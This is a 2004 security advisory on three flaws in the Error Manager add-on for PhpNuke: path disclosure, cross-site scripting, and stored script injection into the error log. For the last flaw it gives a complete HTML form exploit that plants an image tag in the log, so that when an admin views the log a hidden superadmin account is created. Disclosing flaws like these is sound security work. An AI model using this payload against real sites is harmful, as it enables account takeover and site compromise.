[waraxe-2004-SA#010] - Multiple vulnerabilities in Error Manager v2.1 for PhpNuke

Author: Janek Vind "waraxe"
Date: 18. March 2004
Location: Estonia, Tartu

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From developer's readme file:

This Error Manager is made by Gijza.net
The idea came from DR3N.tk
This addon is made for PHP-NUKE 6.0. but may work for other versions
Admin CP is also included in this version.
For the latest version go to www.gijza.net

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Full path disclosure

Let's look at original code:

//language
if( isset( $newlang ) ) {
include( "language/error/lang-$newlang.php" );
$language = $newlang;
} elseif ( isset( $lang ) ) {
include( "language/error/lang-$lang.php" );
$language = $lang;
} else {
include( "language/error/lang-$language.php" );
}

So - nothing will stop us to request this php file directly and this can lead to
standard php error messages, revealing us the full path to error.php file:

http://localhost/nuke71/error.php?newlang=foobar

Warning: main(language/error/lang-foobar.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke71error.php on line 19

2. Cross-Site Scripting aka XSS

Again, let's look at original code:

if ($error == 401) {
$pagetitle = "- "._EM401."";
}
if ($error == 403) {
$pagetitle = "- "._EM403."";
}
if ($error == 404) {
$pagetitle = "- "._EM404."";
}
if ($error == 500) {
$pagetitle = "- "._EM500."";
}

This is traditionally coded by using the "switch/case" language constructions, but
for some reason the author uses there "if/if/if/..." construction, not even "if/elseif/elseif/else".
And we can see, that if variable $error is not the 401, 403, 404 or 500, but something else, then
we can UNINITIALIZED $pagetitle set to any value. This will lead of course to XSS conditions:

http://localhost/nuke71/error.php?pagetitle=[xss code here]

One more way to XSS exploiting:

http://localhost/nuke71/error.php?error=>[xss code here]

As with all the PhpNuke XSS cases, using of the POST parameters or even better - COOKIE parameters -
will be preffered, because the GET parameters are strictly filtered in mainfile.php .

3. Script injection to error log (nasty one!)

This one is my favourite bug. I mean - Error Manager is suppose to log the error conditions in web server
and therefore admin can find potential bugs on site and of course this logging feature will reveale to
admin many (unsuccessful) attacks by "bad guys". It's shame, but it's true - error logging in Error Manager
will log referer, request URI , etc, but WITHOUT ANY sanityze against html tags ;)
So we can inject any javascript code to error log and when admin will browse the logs, the website can be
compromised - for example cookies can be stealed, additional superadmin accounts can be created without the
knowledge of the admin (refference to [waraxe-2004-SA#008 - easy way to get superadmin rights in PhpNuke 6.x-7.1.0]) etc ...

So, there is an attack scenario:

Write the html file like this one -

<HTML>
<HEAD><TITLE>Error Manager sploit</TITLE>
</HEAD>
<BODY bgcolor="#000000" text="#FFFFFF">
<br><br><br>
<center>

<FORM action="http://www.victim.com/error.php" method="POST">

<input type="hidden" name="error" value="<img width='0' height='0' border='0' src='http://www.victim.com/admin.php?op=AddAuthor&add_aid=attacker&add_name=God&add_pwd=coolpass&add_email=kala@hot.ee&add_radminsuper=1'></img>404">
<input type="submit" value="Attack">

</FORM>

</center>
<br><br><br>

</BODY>
</HTML>

Use it aginst victim server and then just wait, till admin reads the error log and then
login to your brand new superadmin account ;)

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum staff and to all IT security related people in Estonia! Tervitused!
Special greets to ulljobu!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

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Published on: 2005-01-06 (24201 reads)

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